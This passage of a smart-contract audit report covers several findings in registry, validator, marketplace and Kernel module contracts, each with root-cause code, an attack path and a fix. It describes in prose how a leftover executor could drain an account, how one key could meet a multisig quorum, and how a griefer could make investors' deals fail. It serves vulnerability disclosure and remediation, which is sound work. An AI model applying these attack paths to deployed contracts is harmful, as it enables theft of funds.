- operators assume the transfer re-scopes the account's administrative authority to the new entity only.

Once those conditions hold, the transferred account can continue using source-entity admin paths on normal call flows. This is realistic in environments with entity restructuring / migration, reassignment of accounts between entities, administrative correction workflows using `WALLET_TRANSFER`, and an operational assumption that account migration also migrates authority scope.

Recommendation(s): Transferring an account to a different entity must re-scope or revoke any source-entity administrative power tied to that account. Possible fixes:

a. When `transferAccountToEntity()` moves an account out of a source entity, clear any source-entity authority / manager relationships tied to that account;
b. Strengthen entity-admin authorization checks so that authority / manager accounts must still belong to the entity they are administering. For example, source-entity admin checks should not succeed solely because of a stale mapping entry if:;

```
_accounts[sender].entityId != entityId
```

c. Ensure `isEntityManager(...)` and any downstream consumers only treat a manager as valid if that account is still linked to the same entity;
d. Add regression tests asserting that:
   - an account transferred from entity **A** to entity **B** cannot call `setEntityManager(entityA, ...)`;
   - an account transferred from entity **A** to entity **B** cannot call `registerAccount(..., entityA, ...)`;
   - cross-entity account migration does not allow one account to concurrently administer both source and destination entities.

The key invariant should be:

```
Transferring an account to a different entity must not leave that account with live administrative power over the
↪  source entity.
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Removing/transferring governance accounts that have been registered is blocked.

Update from CODESPECT: Fixed in: b27e75a7

8.4.8 [Low] `WeightedValidator._removeGuardians` reads `authenticatorIdHash` at the wrong memory offset, emitting a corrupted value in `GuardianRemovedR1`

Severity: Low

Section ID: 8.4.8

Found by: befree3x

File(s): `WeightedValidator.sol` (_addGuardians, _removeGuardians)

Function(s): `WeightedValidator._addGuardians()`, `WeightedValidator._removeGuardians()`, `WeightedValidator._checkSig()`

Category: Storage Layout / Memory Safety; Documentation / Code Mismatch

References: CWE-125: Out-of-bounds Read

Description: `WeightedValidator` stores each R1 (passkey) guardian's encoded public key as a 96-byte buffer formatted as `x (32) || y (32) || authenticatorIdHash (32)`:

```
// src/kernel/validators/WeightedValidator.sol — _addGuardians
guardian[i][_kernel].encodedPublicKey = g[4:100]; // x || y || authenticatorIdHash
```

Root cause:

The first four bytes of the raw guardian payload `g` are the `guardianType` byte plus the 3-byte `weight`; they are stripped before storage. Inside `encodedPublicKey`, `authenticatorIdHash` therefore lives at byte offset **64** (`0x40`), not 68. `_removeGuardians` re-reads the hash for event emission with inline assembly:

```
// src/kernel/validators/WeightedValidator.sol — _removeGuardians (R1 branch)
bytes memory encodedPublicKey = g.encodedPublicKey;
assembly {
    authenticatorIdHash := mload(add(add(encodedPublicKey, 0x20), 68))
}
emit GuardianRemovedR1(_kernel, i, authenticatorIdHash);
```

For a `bytes memory`, `add(ptr, 0x20)` skips the length word and points at the payload, so `mload(... + 68)` reads 32 bytes starting at **offset 68** within the 96-byte payload. The constant `68` is correct for the original calldata layout used in `_addGuardians` (where the 4-byte prefix is still attached and the emit uses `bytes32(g[68:100])`), but it is off by 4 for the stored `encodedPublicKey`, which no longer contains that prefix.

Attack path: (Passive failure mode) This is a data-corruption defect; no actor cooperation beyond normal operation is required.

a. An account owner installs `WeightedValidator` with one or more R1 (passkey) guardians;
b. Later, the owner calls `renew(...)` (rotating guardians) or the validator is uninstalled (`onUninstall`). Both flow through `_removeGuardians`;
c. For every R1 guardian, the assembly block executes and `mload`s at payload offset 68:
   - Bytes `[68..96)` of `encodedPublicKey`: the last 28 bytes of the real `authenticatorIdHash` (the first 4 bytes are skipped).
   - Bytes `[96..100)`: past the end of the array; whatever resides in adjacent free memory is read in. In practice this is usually zero-padded but is not guaranteed to be deterministic across compiler/runtime conditions.
d. The resulting `bytes32` value is emitted in `GuardianRemovedR1(kernel, index, authenticatorIdHash);`
e. Off-chain indexers/subgraphs/UIs that track guardian lifecycle events receive a value that does not match the `authenticatorIdHash` previously emitted in the counterpart `GuardianAddedR1`, and cannot reconcile the lifecycle;

Impact: Low. The defect is confined to event data:

- On-chain state for the removed guardian is correctly zeroed by `delete guardian[i][_kernel]` (executed immediately before the emit).
- No funds, signatures, or validator decisions depend on the emitted hash.
- Validator signing logic (`_checkSig`) reads `encodedPublicKey` with `abi.decode(..., (uint256, uint256))`, which only consumes the leading `x || y` words and is unaffected by this bug.

The harm is borne by off-chain consumers: indexers will see orphaned add/remove pairs, frontends may fail to clean up guardian records, and on-chain forensic queries that filter by `authenticatorIdHash` topic will miss removal events.

Likelihood: High. The corrupted emission is triggered on any R1 guardian removal (`renew` or `onUninstall`), with no special preconditions or privilege.

Recommendation(s): Change the constant `68` to `0x40` (= 64) so the load matches the stored layout:

```
- assembly {
-     authenticatorIdHash := mload(add(add(encodedPublicKey, 0x20), 68))
- }
```

```
+ assembly {
+     authenticatorIdHash := mload(add(add(encodedPublicKey, 0x20), 0x40))
+ }
```

After the fix, the `GuardianRemovedR1` payload matches the `authenticatorIdHash` emitted in the corresponding `GuardianAddedR1`.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. `GuardianRemovedR1` now reads the correct `authenticatorIdHash`.

Update from CODESPECT: Fixed in: 72f3902e

8.4.9 [Low] `rotateIssuer()` Missing `Replaced` status support blocks issuer recovery on superseded bond versions

Severity: Low

Section ID: 8.4.9

Found by: bobai23

File(s): `BondRegistry.sol`

Function(s): `BondRegistry.rotateIssuer()`

Category: Business Logic / Protocol Design; Access Control

References: CWE-840: Business Logic Errors

Description: The `rotateIssuer()` function only allows issuer rotation for bonds in `Published`, `Issued`, or `Suspended` states. Bonds in `Replaced` status are explicitly excluded, meaning the `ISSUER_RECOVERY` role cannot rotate the issuer on a superseded bond version even when tokens still exist and burns (`FINAL_SETTLEMENT`) are still possible on that version.

Root cause:

```
require(
    bond.status == BondStatus.Published || bond.status == BondStatus.Issued
        || bond.status == BondStatus.Suspended,
    // @>>>>>>>>>>> BondStatus.Replaced is missing
    Errors.BondRegistry__InvalidBondStatus(isinBytes)
);
```

`Replaced` bonds can still hold tokens (via the `FINAL_SETTLEMENT` burn path) and their issuer identity remains relevant, but no recovery mechanism exists for them.

Attack path:

a. `ISIN-A v1` is issued and active (`Issued`);

b. Publisher publishes `ISIN-A v2` and first issuance occurs;

c. `v1` is automatically transitioned to `BondStatus.Replaced`;

d. `v1` issuer becomes compromised or disabled;

e. `ISSUER_RECOVERY` role attempts `rotateIssuer(isin, 1, newIssuer, reason);`

f. The `require` check rejects the call because `v1.status == Replaced`;

g. The compromised issuer address is permanently locked to `v1` with no recovery path;

Impact: If a compromised or disabled issuer holds tokens under a `Replaced` bond version, the protocol cannot rotate the issuer to recover from that situation.

Likelihood: Low. Requires a bond version to have been superseded into `Replaced` status while its issuer still holds tokens, and that issuer to subsequently become compromised or disabled. The preconditions are a normal lifecycle transition combined with an issuer compromise event.

Recommendation(s): Include `BondStatus.Replaced` in the set of statuses accepted by `rotateIssuer()` so the `ISSUER_RECOVERY` role can recover the issuer identity on superseded bond versions that still hold tokens.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. `rotateIssuer` supports `Replaced` bond versions.

Update from CODESPECT: Fixed in: 3ae440d5

8.4.10 [Low] A single guardian identity can satisfy a weighted multisig threshold when installed in multiple slots

Severity: Low

Section ID: 8.4.10

Found by: nishithpat, jes16jupyter, 4gontuk

File(s): `WeightedValidator.sol`

Function(s): `WeightedValidator._addGuardians()`, `WeightedValidator.validateUserOp()`, `WeightedValidator.isValidSignatureWithSender()`

Category: Access Control

References: CWE-863: Incorrect Authorization

Description: `WeightedValidator` counts approvals by guardian index, not by guardian identity. This means the same guardian address can be installed in multiple slots. Later, one guardian key can sign once for each slot and satisfy a threshold that appears to require multiple independent guardians. When guardians are installed, `_addGuardians(...)` stores every entry without checking whether the same address or public key was already added.

```
guardian[i][_kernel].guardianType = bytes1(0x01);
guardian[i][_kernel].weight = weight;
guardian[i][_kernel].encodedPublicKey = g[4:24];
```

During validation, the first byte of each signature selects the guardian index.

```
uint8 idx = uint8(bytes1(sig[0]));
GuardianStorage storage strg = guardian[idx][msg.sender];
```

The deduplication also works by index. It prevents the same slot from being counted twice, but it does not prevent the same address from being counted through two different slots.

```
uint256 guardianBit = uint256(1) << uint8(bytes1(signatures[i][0]));
if (seen & guardianBit != 0) continue;
```

So this configuration is accepted:

```
guardian[0] = Alice, weight 5
guardian[1] = Alice, weight 5
threshold = 10
```

Alice alone can now satisfy the full threshold by submitting signatures for index `0` and index `1`. The same bug class was reported in Solodit here: https://solodit.cyfrin.io/issues/signature-from-one-address-can-be-recycled-to-maliciously-reach-threshold-spearbit-none-stackup-keystore-pdf In that finding, the verifier also deduped by index instead of signer identity, which let one signer satisfy a threshold if the same signer was configured more than once.

Impact: Any system that treats a `WeightedValidator` account as a real multisig can be given a wallet that appears to require multiple guardian approvals but is actually controlled by one guardian key. This is meaningful in a KYB or company wallet setting where guardian addresses can represent known officers, operators, recovery parties, or approved signers. In that setting, one approved guardian identity can be assigned multiple weighted slots and gain full quorum. This breaks the core quorum guarantee of the validator: a compromised or malicious single guardian can authorize account actions, ERC1271 approvals, recovery actions, or timelocked operations that downstream systems may expect to require multiple independent approvals. The issue requires the unsafe guardian configuration to be installed first. If every guardian set is manually reviewed by a trusted operator, the practical likelihood is reduced. If wallet configuration is user controlled, the validator should enforce this invariant itself.

Likelihood: Medium. The configuration is accepted by the contract and the attack only needs one valid guardian key after setup. The likelihood depends on how guardian sets are created and reviewed. It is stronger when wallet creation or guardian rotation is self service, or when downstream systems rely on the validator output without independently checking guardian uniqueness.

Recommendation(s): Reject duplicate guardian identities during `onInstall(...)` and `renew(...)`. For ECDSA guardians, reject duplicate addresses. For WebAuthn guardians, reject duplicate public keys or duplicate authenticator identity. The fix should be placed in `_addGuardians(...)` so unsafe configurations cannot be installed.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Duplicate guardian identities are rejected.

Update from CODESPECT: Fixed in: 14ddf180

8.4.11 [Low] Fixed absolute payment deadline in interest-discovery deals gives late activators zero payment window, leading to guaranteed deal failure and griefing

Severity: Low

Section ID: 8.4.11

Found by: godwinda, mehdikarimi81, hard1k7724, sahuang

File(s): `Marketplace.sol`, `Marketplace.sol`

Function(s): `Marketplace._createActivatedInterestDeal()`, `Marketplace._getInterestActivationDeadline()`, `Marketplace.activateInterest()`

Category: Business Logic / Protocol Design

References: CWE-841: Improper Enforcement of Behavioral Workflow, CWE-440: Expected Behavior Violation

Description: The `Marketplace` contract supports three sale modes: `MARKETPLACE`, `REDEMPTION`, and `INTEREST_DISCOVERY`. For direct-sale modes (`MARKETPLACE` and `REDEMPTION`), the payment deadline on a newly created deal is computed **relative to the current block timestamp**, guaranteeing the buyer always receives the full configured `paymentExpiryThreshold` duration to arrange off-chain payment:

```
// Marketplace.sol L955-L970
function _createOfferDeal(Offer storage offer, uint256 offerId, uint256 amount) internal returns (uint256 dealId) {
    uint256 paymentDeadline = _getPaymentExpiryThreshold(offer.saleMode) + block.timestamp;
    DealCreationInput memory input = DealCreationInput({
        offerId: offerId,
        amount: amount,
        buyer: msg.sender,
        price: offer.unitPrice * amount,
        counterOfferExpiry: 0,
        paymentDeadline: paymentDeadline,
        status: DealStatus.PENDING,
        dealType: DealType.OFFER
    });
    return _createDeal(input);
}
```

However, for `INTEREST_DISCOVERY` offers, when an expressed interest is activated into a deal via `activateInterest()`, the payment deadline is computed differently in `_createActivatedInterestDeal()`:

```
// Marketplace.sol L979-L999
function _createActivatedInterestDeal(Interest storage interest, uint256 interestId, uint256 saleEnd)
    internal
    returns (uint256 dealId)
{
    uint256 paymentDeadline = _getInterestActivationDeadline(interest.offerId, saleEnd);
    DealCreationInput memory input = DealCreationInput({
        offerId: interest.offerId,
        amount: interest.amount,
        buyer: interest.investor,
        price: interest.price,
        counterOfferExpiry: 0,
        paymentDeadline: paymentDeadline,
        status: DealStatus.PENDING,
        dealType: DealType.OFFER
    });
    dealId = _createDeal(input);
    // ...
}
```

Instead of using `block.timestamp + threshold`, it delegates to `_getInterestActivationDeadline()`, which returns a **fixed absolute timestamp**:

```
// Marketplace.sol L1154-L1160
function _getInterestActivationDeadline(
    uint256 offerId,
    uint256 saleEnd
) internal view returns (uint256 activationDeadline) {
    return saleEnd + _getInterestDiscoveryPaymentExpiryThreshold(offerId);
}
```

This means the deal's `paymentDeadline` is set to `offer.expiry + snapshotted_paymentExpiryThreshold`, the exact same value used as

the activation window's deadline. The activation window validation in `_validateInterestActivationWindow()` permits activation up to and including this timestamp:

```
// Marketplace.sol L1377-L1385
function _validateInterestActivationWindow(uint256 offerId, uint256 saleEnd) internal view {
    uint256 activationDeadline = _getInterestActivationDeadline(offerId, saleEnd);
    require(
        block.timestamp < activationDeadline + 1,
        Errors.Marketplace__InterestActivationWindowExpired(offerId, activationDeadline, block.timestamp)
    );
}
```

When `activateInterest()` is called at or near `block.timestamp == activationDeadline`, the resulting deal has `paymentDeadline == block.timestamp`, meaning zero time for payment. At the very next block, the `PAYMENT_HANDLER` cannot mark the deal as `PAID` because the deadline check fires first:

```
// Marketplace.sol L851-L853
if (block.timestamp > currentDeal.paymentDeadline && currentDeal.status == DealStatus.PENDING) {
    revert Errors.Marketplace__PaymentDeadlineExpired();
}
```

And anyone can immediately resolve the deal as `UNPAID`:

```
// Marketplace.sol L856-L859
_validateDealStatus(currentDeal.status, DealStatus.PENDING);
require(block.timestamp > currentDeal.paymentDeadline, Errors.Marketplace__DealNotExpired());
newStatus = DealStatus.UNPAID;
```

Critically, `activateInterest()` is fully permissionless, it has no role check:

```
// Marketplace.sol L214-L236
function activateInterest(uint256 interestId) external nonReentrant returns (uint256 dealId) {
    Interest storage interest = _getInterest(interestId);
    _validateOfferNotCancelled(interest.offerId);
    _validateOfferNotFrozen(interest.offerId);
    Offer storage currentOffer = _offers[interest.offerId];
    _validateInterestDiscoverySaleMode(currentOffer, interest.offerId);
    // ... threshold + status + window checks, but NO role check
}
```

This means any third party can deliberately wait until the last moment of the activation window to activate a targeted investor's interest, creating a deal that is impossible to fulfill by design.

Attack path:

a. A seller registers an interest-discovery offer and an investor expresses interest, meeting the threshold;
b. A griefer waits until `block.timestamp == activationDeadline` (the boundary of the activation window);
c. The griefer calls the permissionless `activateInterest()` for the targeted investor's interest;
d. The resulting deal is born with `paymentDeadline == block.timestamp`, a zero-length payment window;
e. At the next block, `PAYMENT_HANDLER` cannot mark the deal `PAID` because the deadline check reverts first;
f. Anyone resolves the deal as `UNPAID`, and after the dispute buffer expires the reserved tokens return to the seller's `available` pool. The investor receives zero bonds;

Impact: A single permissionless `activateInterest()` call timed at or near the activation deadline creates a deal that the `PAYMENT_HANDLER` cannot mark as `PAID`. The investor who had inventory reserved on their behalf receives a deal that is guaranteed to resolve as `UNPAID`, and after the dispute buffer expires, the reserved tokens return to the seller's `available` pool. The investor's position is entirely lost. This can be used to grief specific investors by deliberately activating their expressed interests at the deadline boundary.

Likelihood: Medium. The attack is trivially cheap (a single function call, no special roles required). The only precondition is timing the `activateInterest()` call near the activation deadline boundary. Since `activateInterest()` is permissionless by design (any address can call it), any on-chain actor can target specific investors.

Recommendation(s): Compute the payment deadline relative to `block.timestamp` at activation time, consistent with how direct-sale deals work in `_createOfferDeal()`. This guarantees every buyer receives the full `paymentExpiryThreshold` duration regardless of when their interest is activated within the window:

```
function _createActivatedInterestDeal(Interest storage interest, uint256 interestId, uint256 saleEnd)
    internal
```

```
    returns (uint256 dealId)
{
-   uint256 paymentDeadline = _getInterestActivationDeadline(interest.offerId, saleEnd);
+   uint256 paymentDeadline = block.timestamp + _getInterestDiscoveryPaymentExpiryThreshold(interest.offerId);
    DealCreationInput memory input = DealCreationInput({
        offerId: interest.offerId,
        amount: interest.amount,
        buyer: interest.investor,
        price: interest.price,
        counterOfferExpiry: 0,
        paymentDeadline: paymentDeadline,
        status: DealStatus.PENDING,
        dealType: DealType.OFFER
    });
    dealId = _createDeal(input);
    InterestStatus oldStatus = interest.status;
    interest.status = InterestStatus.ACTIVATED;

    _emitInterestStatusUpdated(interestId, interest, oldStatus, InterestStatus.ACTIVATED);
}
```

This is a single-line change that aligns the interest-discovery payment deadline computation with the established pattern used by both `MARKETPLACE` and `REDEMPTION` sale modes.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully even though we find this finding improbable. Activated-interest deals use a relative payment deadline.

Update from CODESPECT: Fixed in: cbba406a

8.4.12 [Low] Silent executor auto-install via `_configureSelector` during fallback setup creates hidden privilege that persists after fallback removal, enabling unauthorized fund extraction

Severity: Low

Section ID: 8.4.12

Found by: godwinda

File(s): `ValidationManager.sol`, `Kernel.sol`, `ExecutorManager.sol`

Function(s): `ValidationManager._configureSelector()`, `Kernel.uninstallModule()`, `ExecutorManager._installExecutorWithoutInit()`, `SelectorManager._clearSelectorData()`

Category: Business Logic / Protocol Design; Access Control

References: CWE-269: Improper Privilege Management

Description: Kernel v3.3 implements an ERC-7579 modular smart account where modules can declare support for multiple module types. A module can report `isModuleType(2) == true` (executor) alongside `isModuleType(3) == true` (fallback). The ERC-7579 specification permits this, and the Kernel test suite itself includes `MockFallback`, a dual-type test module that exercises this exact pattern. When a user installs a fallback handler via enable mode (an ERC-4337 UserOp with `VALIDATION_MODE_ENABLE`), the internal call chain flows through `_enableValidationWithSig` which calls `_configureSelector`:

```
// ValidationManager.sol:385-396
function _enableValidationWithSig(
    ValidationId vId,
    address hook,
    UserOpSigEnableDataFormat calldata enableData,
    bool isReplayable
) internal returns (ValidationData validationData) {
    (ValidationConfig memory config, bytes32 digest) = _enableDigest(vId, hook, enableData, isReplayable);
    validationData = _verifyEnableSig(digest, enableData.enableSig);
    _installValidation(vId, config, enableData.validatorData, enableData.hookData);
    _configureSelector(enableData.selectorData); // <-- auto-install happens here
    _grantAccess(vId, bytes4(enableData.selectorData[0:4]), true);
}
```

Inside `_configureSelector`, when the target module reports `isModuleType(2) == true`, the function silently installs executor authority as a side effect, without the user ever requesting it:

```
// ValidationManager.sol:505-528
function _configureSelector(bytes calldata selectorData) internal {
    bytes4 selector = bytes4(selectorData[0:4]);

    if (selectorData.length >= 44) {
        SelectorDataFormat calldata data;
        assembly {
            data := add(selectorData.offset, 44)
        }
        IModule selectorModule = IModule(address(bytes20(selectorData[4:24])));
        if (CallType.wrap(bytes1(data.selectorInitData[0])) == CALLTYPE_SINGLE
            && selectorModule.isModuleType(2)) {
            // also adds as executor when fallback module is also a executor
            SelectorDataFormatWithExecutorData calldata dataWithExecutor;
            assembly { dataWithExecutor := data }
            IHook executorHook = IHook(address(bytes20(dataWithExecutor.executorHookData[0:20])));
            _installExecutorWithoutInit(IExecutor(address(selectorModule)), executorHook); // <-- silent install
            _installHook(executorHook, dataWithExecutor.executorHookData[20:]);
        }
        _installSelector(
            selector, address(selectorModule), IHook(address(bytes20(selectorData[24:44]))),
            data.selectorInitData
        );
        // ...
    }
}
```

`_installExecutorWithoutInit` in `ExecutorManager.sol` sets `executorConfig[module].hook = address(1)`, which is the "installed, no hook required" sentinel:

```
// ExecutorManager.sol:40-47
function _installExecutorWithoutInit(IExecutor executor, IHook hook) internal {
```

```
    if (address(hook) == address(0)) {
        hook = IHook(address(1));
    }
    ExecutorConfig storage config = _executorConfig(executor);
    config.hook = hook;
    emit IERC7579Account.ModuleInstalled(MODULE_TYPE_EXECUTOR, address(executor));
}
```

This grants the module `executeFromExecutor` authority, which allows arbitrary execution on behalf of the account, ETH transfers, token transfers, arbitrary contract calls. The authorization check in `executeFromExecutor` simply verifies that `executorConfig[msg.sender].hook != address(0)`:

```
// Kernel.sol:309-318
function executeFromExecutor(ExecMode execMode, bytes calldata executionCalldata)
    external payable returns (bytes[] memory returnData)
{
    IHook hook = _executorConfig(IExecutor(msg.sender)).hook;
    if (address(hook) == HOOK_MODULE_NOT_INSTALLED) { // address(0)
        revert InvalidExecutor();
    }
    // ... executes arbitrary calldata on behalf of the account
}
```

The critical asymmetry appears when the user later removes the fallback. `uninstallModule(MODULE_TYPE_FALLBACK)` calls `_clearSelectorData`, which only clears the `selectorConfig` storage:

```
// Kernel.sol:440-450
} else if (moduleType == MODULE_TYPE_FALLBACK) {
    bytes4 selector = bytes4(deInitData[0:4]);
    address target;
    _clearSelectorData(selector); // only clears selectorConfig
    if (target == address(0)) {
        return;
    }
    if (target != module) {
        revert InvalidSelector();
    }
    deInitData = deInitData[4:];
}
```

`_clearSelectorData` zeroes `selectorConfig[selector]`, the hook, target, and callType fields:

```
// SelectorManager.sol:62-71
function _clearSelectorData(bytes4 selector) internal returns (IHook hook, address target) {
    SelectorConfig storage ss = _selectorConfig(selector);
    hook = ss.hook;
    ss.hook = IHook(address(0));
    if (ss.callType == CALLTYPE_SINGLE) {
        target = ss.target;
    }
    ss.target = address(0);
    ss.callType = CallType.wrap(bytes1(0x00));
}
```

It does not touch `executorConfig`. The user's intent, "remove this fallback module", is only partially fulfilled. The fallback registration is gone, but the executor authority that was silently created alongside it persists. The module can still call `executeFromExecutor` and drain the account. The auto-installed executor authority is entirely unnecessary for the fallback to function as intended. The fallback path and executor path serve completely different directions of control flow. When an external caller invokes a registered selector, `Kernel.fallback()` looks up `selectorConfig[selector]` and delegates the call to the module, this only requires the `_installSelector` call that `_configureSelector` already performs unconditionally. The executor path flows in the opposite direction: the module calls `Kernel.executeFromExecutor()` to execute arbitrary calldata on behalf of the account, which requires `executorConfig[module].hook != address(0)`. The auto-install is a convenience shortcut for modules designed to use both capabilities, but it fires based solely on what the module *reports* via `isModuleType(2)`, not on what the user *requested*, silently granting a privilege the user never asked for and that the fallback functionality does not require.

Attack path:

a. A module that supports both fallback (type 3) and executor (type 2) is deployed. This is explicitly supported by ERC-7579, demonstrated in the Kernel test suite via `MockFallback`;

b. The module is installed via enable mode (an ERC-4337 UserOp with `VALIDATION_MODE_ENABLE`), so the call flows through `_configureSelector`;

c. Because `module.isModuleType(2)` returns true, `_configureSelector` calls `_installExecutorWithoutInit`, silently granting `executeFromExecutor` authority that the user never requested;

d. The owner later calls `uninstallModule(MODULE_TYPE_FALLBACK)`, intending to fully remove the module;

e. `_clearSelectorData` clears `selectorConfig` only. The `executorConfig` entry is untouched, so the module keeps executor authority;

f. The module calls `executeFromExecutor` and drains ETH, tokens, or executes arbitrary calls on behalf of the account;

Impact: A module that the account owner intended to fully remove retains `executeFromExecutor` authority, which grants arbitrary execution on behalf of the account. This includes ETH transfers, ERC-20 token transfers, and arbitrary contract calls. If the module is later compromised, turns adversarial, or was always adversarial, it can drain the entire account balance.

Likelihood: Medium. The preconditions are:

a. A module that supports both fallback (type 3) and executor (type 2) must exist. This is explicitly supported by ERC-7579, demonstrated in the Kernel test suite via `MockFallback`;

b. The module must be installed via enable mode (the path through `_configureSelector`). Direct `installModule(MODULE_TYPE_FALLBACK)` does NOT trigger the auto-install, it calls `_installSelector` directly;

The scenario is realistic for any integrator building action modules that combine fallback handling with execution capabilities, a natural pattern for session key modules, batched operations, or DeFi integrations.

Recommendation(s): Reverse both effects during fallback uninstall (recommended): when `uninstallModule(MODULE_TYPE_FALLBACK)` removes a selector that was set up by `_configureSelector`, also clear any executor authority that was auto-installed alongside it:

```
  } else if (moduleType == MODULE_TYPE_FALLBACK) {
      bytes4 selector = bytes4(deInitData[0:4]);
      (, address target) = _clearSelectorData(selector);
      if (target == address(0)) { return; }
      if (target != module) { revert InvalidSelector(); }
+     // Clear executor config if this module was auto-installed as executor
+     if (address(_executorConfig(IExecutor(module)).hook) != HOOK_MODULE_NOT_INSTALLED) {
+         _clearExecutorData(IExecutor(module));
+     }
      deInitData = deInitData[4:];
  }
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Fallback removal clears hidden executor authority.

Update from CODESPECT: Fixed in: 84612931

8.4.13 [Low] Entity managers can claim arbitrary addresses without consent

Severity: Low

Section ID: 8.4.13

Found by: devpelz, 4gontuk, srujankumarreddy11, bobai23, aestheticbhai, emanueldlvg, lordalive, d33p-x, orangesantra

File(s): `EntityRegistry.sol`

Function(s): `EntityRegistry.registerAccount()`

Category: Access Control; Business Logic / Protocol Design

References: CWE-863: Incorrect Authorization

Description: `registerAccount()` allows an entity manager to register any address whose status is:

```
AccountStatus.NONE
```

into the manager's entity. No approval or acceptance is required from the target address. A manager can therefore pre-register arbitrary third-party addresses and assign entity membership before the address owner has interacted with the protocol. Subsequent attempts to onboard the address into the intended entity fail because the account is already registered.

Impact: An entity manager can temporarily deny onboarding of arbitrary addresses. The affected address inherits the squatting entity's status and configuration until administrative remediation occurs. The issue does not permanently lock accounts because privileged actors can remove or transfer them.

Likelihood: Medium. The attack requires only entity-manager permissions and no cooperation from the target address.

Recommendation(s): Require explicit account-side acceptance before registration becomes active. Alternatively, implement a two-step registration flow:

```
registerPending()
    ↓
acceptRegistration()
```

This prevents unsolicited entity assignment and onboarding denial-of-service.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Entity-manager account registration now requires acceptance.

Update from CODESPECT: Fixed in: 6e6ee845

8.4.14 [Low] Missing Entity Validation in Seizure Functions Allows Bypass of Compliance Checks

Severity: Low

Section ID: 8.4.14

Found by: bobai23

File(s): `Marketplace.sol`, `Marketplace.sol`

Function(s): `Marketplace.seizeOfferEscrow()`, `Marketplace.seizeDeal()`

Category: Access Control; Business Logic / Protocol Design

References: CWE-284: Improper Access Control

Description: The `seizeOfferEscrow()` and `seizeDeal()` functions do not validate whether the `beneficiary` is an approved and enabled entity wallet. This is inconsistent with other user-facing functions (e.g., `acceptOffer()`, `expressInterest()`) that enforce strict entity validation. As a result, privileged roles can bypass protocol-level compliance checks.

Root cause: The seizure functions only check that the `beneficiary` is non-zero but do not call `_validateEntityWalletAndTypeAllowed` and `_validateEntityWalletEnabled`. This leads to an inconsistent authorization model across the protocol. Code references: `Marketplace.solL615` `Marketplace.solL655`

Impact: Holders of `SEIZURE_ROLE` can transfer seized funds to non-entity wallets, disabled entities, or invalid entity types. This breaks protocol invariants and compliance guarantees, potentially causing issues during entity offboarding or regulatory enforcement.

Likelihood: Low. Exploitation requires a holder of `SEIZURE_ROLE`, a privileged actor, to direct seized funds to a beneficiary that fails the entity validation enforced elsewhere in the protocol.

Recommendation(s): Add the same entity validation used in other functions:

```
_validateEntityWalletAndTypeAllowed(beneficiary);
_validateEntityWalletEnabled(beneficiary);
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Seizure beneficiaries are checked as enabled entity wallets.

Update from CODESPECT: Fixed in: 62932d7b

8.4.15 [Low] `_isAccountEnabled` check can be sometimes bypassed in `Marketplace::cancelOffer()` when the offer.saleMode is of `INTEREST_DISCOVERY` type

Severity: Low

Section ID: 8.4.15

Found by: hard1k7724

File(s): `Marketplace.sol` `Marketplace.sol`

Function(s): `Marketplace.cancelOffer()`, `Marketplace._validateOwnerOrOperator()`

Category: Access Control; Protocol Design; Documentation / Code Mismatch

References: CWE-284: Improper Access Control

Description: After observing the codebase, one thing which is surely clear is that in a scenario where a user was enabled (user address mapped to `AccountStatus.ENABLED`) and he created the offer, and later the user gets his account `AccountStatus.DISABLED` by the admin, in this case the disabled user should not be able to receive or get his funds transferred to him again via `cancelOffer`. Note that this has been confirmed by the lead judge and the sponsor as well. However, this behavior can be bypassed. This will and can happen if the registered offer's `saleMode` was `INTEREST_DISCOVERY` and the `token` of the `offer` was `ERC20`. To be exact, this will happen very easily if the user himself decides not to call `cancelOffer` and simply waits for the `INTEREST_DISCOVERY_OPERATOR` to do it for him, which is very likely since this is one of the roles that the `INTEREST_DISCOVERY_OPERATOR` is supposed to and entitled to do. So we can expect that if the other users do not call `cancelOffer` themselves after the expiry, then the `INTEREST_DISCOVERY_OPERATOR` will have to do it for them.

Root cause: When the `msg.sender` of `cancelOffer` is `INTEREST_DISCOVERY_OPERATOR`, the `_requireEnabledActor` check is skipped for the `offer.owner`. The most severe part is that when this happens, the `offer.owner` will receive or get his `escrowAmount` transferred back to him even when that is not the intended behavior (a disabled user getting his funds back via `cancelOffer`).

```
function cancelOffer(uint256 offerId) external nonReentrant {
       _validateOfferNotCancelled(offerId);
       _validateOfferNotFrozen(offerId);
       Offer storage currentOffer = _offers[offerId];
       if (currentOffer.saleMode == SaleMode.INTEREST_DISCOVERY) {
           _validateOwnerOrOperator(msg.sender, currentOffer.owner); // @> note if the sender is
           ↪  `INTEREST_DISCOVERY_OPERATOR` then the `enabledActor` check is skipped and the disabled user will get
           ↪  his funds back which is against the intended behavior


function _validateOwnerOrOperator(address caller, address owner_) internal view {
        if (caller == owner_) {
            require(_isAccountEnabled(owner_), Errors.Marketplace__NotAuthorized(caller)); // <@
        } else {
            _checkRoles(INTEREST_DISCOVERY_OPERATOR); // @@@> the check is skipped in the else block
        }
    }
```

See the PoC to see the proof/demonstration of the forementioned issue.

Attack path:

a. A user is enabled, registers an `INTEREST_DISCOVERY` offer for an ERC20 token, and deposits into escrow;
b. The admin disables the user account (`AccountStatus.DISABLED`);
c. The user waits and does not call `cancelOffer` himself;
d. The `INTEREST_DISCOVERY_OPERATOR` calls `cancelOffer(offerId)` after expiry on the user's behalf;
e. `_validateOwnerOrOperator` takes the `else` branch (caller is not the owner), checks only the operator role, and skips the enabled-state check on the owner;
f. The escrowed ERC20 funds are transferred back to the disabled owner, contrary to the intended behavior;

Impact: Unintended behavior. The disabled users are not supposed to get their funds back via `cancelOffer`, i.e. the transfer should fail. However it will not fail and the user will get his funds back if the `INTEREST_DISCOVERY_OPERATOR` calls `cancelOffer` before the offer is seized and the `token` of the offer is an ERC20. Note that the above is very likely possible for the reasons mentioned in the Description section.

Likelihood: Medium. The requirement for the issue to occur is that the `saleMode` should be `INTEREST_DISCOVERY` and the token must be ERC20.

